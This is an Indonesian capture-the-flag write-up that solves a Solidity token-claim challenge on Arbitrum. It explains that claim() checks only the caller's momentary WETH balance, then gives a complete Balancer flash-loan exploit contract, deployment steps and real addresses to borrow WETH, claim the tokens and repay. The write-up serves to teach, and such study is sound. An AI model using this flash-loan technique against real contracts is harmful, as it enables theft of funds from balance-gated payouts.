Fokus utama ada pada fungsi claim dan beberapa getter function di kontrak Solidity berikut:
function claim(uint256 amount) external {
require(_requiredToken != address(0), "Token syaratnya belum diset nih bang.");
require(_claimableToken != address(0), "Token klaim belum disiapin bang.");
uint256 balance = IERC20(_requiredToken).balanceOf(msg.sender);
require(balance >= _requiredBalance, "Belum cukup saldo buat klaim. Sabar ya bang!");
require(IERC20(_claimableToken).transfer(msg.sender, amount), "Gagal kirim token klaim ke kamu.");
}
function getClaimableToken() external view returns (address) {
return _claimableToken;
}
function getRequiredToken() external view returns (address) {
return _requiredToken;
}
function getRequiredBalance() external view returns (uint256) {
return _requiredBalance;
}Agar token TST bisa dikirim ke siapapun yang memanggil fungsi claim, terdapat 3 kondisi yang harus dipenuhi:
_requiredTokenbukanaddress(0)_claimableTokenbukanaddress(0)- Balance
_requiredTokenmilik pemanggil fungsi (walletmsg.sender) harus lebih besar atau sama dengan_requiredBalance
π¦ Jika ketiga kondisi tersebut terpenuhi, maka token TST akan dikirim dari kontrak CTF ke wallet msg.sender.
Masing-masing nilai variabel tersebut bisa diperoleh dari getter function:
| Fungsi | Hasil | Keterangan |
|---|---|---|
getRequiredToken() |
0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 |
Alamat WETH (di Arbitrum) |
getClaimableToken() |
0x0eb50095B18294D1Ab02655e7C7D25199E35Cc15 |
Alamat token TST |
getRequiredBalance() |
560109367220998255044 |
Setara dengan 560.109367220998255044 WETH |
Kalau kita ingin mengambil 500 token TST dari kontrak CTF, maka kita harus punya setidaknya:
560.109367220998255044 WETH
...yang tersimpan di wallet milik kita (pemanggilclaim).
Uang darimana? :D
Tenang, Balancer solusinya!
Kita bisa meminjam WETH tanpa dikenakan biaya, namun harus dikembalikan dalam 1 transaksi yang sama. Jika tidak, transaksi akan selalu gagal.
Cara kerja flash loan di sini simpel: kamu bisa meminjam saldo WETH dari Balancer Vault dan harus mengembalikannya dalam transaksi yang sama tanpa biaya (untuk saat ini).
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@balancer-labs/v2-interfaces/contracts/vault/IVault.sol";
import "@balancer-labs/v2-interfaces/contracts/vault/IFlashLoanRecipient.sol";
interface ICTF {
function claim(uint256 amount) external;
}
contract FlashLoanRecipient is IFlashLoanRecipient {
IVault private constant vault =
IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
address private me = 0x59F3604Def4AB9F740174C9CF977C4DA8fb458fD;
address private ctfContract = 0x29915797682ecA55363333234197a2214839668C;
address private tstContract = 0x0eb50095B18294D1Ab02655e7C7D25199E35Cc15;
uint256 private tstBalance = 500000000;
function makeFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external {
vault.flashLoan(this, tokens, amounts, userData);
}
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external override {
require(msg.sender == address(vault));
ICTF ctf = ICTF(ctfContract);
ctf.claim(tstBalance);
IERC20 tst = IERC20(tstContract);
tst.transfer(me, tstBalance);
for (uint256 i = 0; i < tokens.length; i++) {
uint256 repayAmount = amounts[i] + feeAmounts[i];
IERC20(tokens[i]).transfer(address(vault), repayAmount);
}
}
}- Deploy kontrak ke Arbitrum network.
- Panggil fungsi
makeFlashLoan()dengan parameter:tokens: alamat WETH.amounts:561109367220998255044(WETH).userData: isi dengan0x(karena tidak digunakan).
- Saat
makeFlashLoan()dipanggil, Balancer Vault akan otomatis memanggilreceiveFlashLoan()dan mengirimkan WETH ke kontrak. - Di dalam
receiveFlashLoan(), fungsiclaim()dipanggil:
ICTF ctf = ICTF(ctfContract);
ctf.claim(tstBalance);- Setelah token TST masuk ke kontrak, kirim ke wallet pribadi:
IERC20 tst = IERC20(tstContract);
tst.transfer(me, tstBalance);- Kembalikan semua WETH ke Balancer Vault agar transaksi tidak gagal:
for (uint256 i = 0; i < tokens.length; i++) {
uint256 repayAmount = amounts[i] + feeAmounts[i];
IERC20(tokens[i]).transfer(address(vault), repayAmount);
}Voila! CTF solved with Tx Hash